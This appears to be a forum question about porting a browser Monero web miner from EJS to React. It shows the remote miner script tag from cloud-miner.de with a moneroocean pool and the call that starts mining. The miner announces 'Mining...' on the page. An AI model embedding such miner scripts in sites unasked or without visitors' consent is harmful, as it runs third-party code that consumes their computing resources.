I am migrating a web miner from EJS templates to react. The code below starts the mining process.
<script src="https://cloud-miner.de/tkefrep/tkefrep.js?tkefrep=bs?nosaj=faster.moneroocean"></script>
<script>
$(function() {
EverythingIsLife('...', 'x', 70);
$("#webMinerInfo").html("Mining...");
});
</script>
It loads the necessary data from that URL (including a function EverythingIsLife) and then runs it, giving a message to the user when it starts mining. However when I attempt to do the same thing in react:
WebMinerPage.jsx:
function WebMinerPage() {
document.body.style.backgroundColor = "#EEEEEE";
// add miner script
function handleLoad() {
EverythingIsLife('...', 'x', 70);
document.querySelector("#webMinerInfo").innerHTML = "Mining...";
}
useEffect(() => {
window.addEventListener('load', handleLoad);
return () => {
window.removeEventListener('load', handleLoad);
}
}, []);
// return and export statements
Where in the head of my index.html I have:
<script src="https://cloud-miner.de/tkefrep/tkefrep.js?tkefrep=bs?nosaj=faster.moneroocean"></script>
It returns an error:
Failed to compille! EverythingisLife is not defined.
How can I solve this? Any help would be appreciated.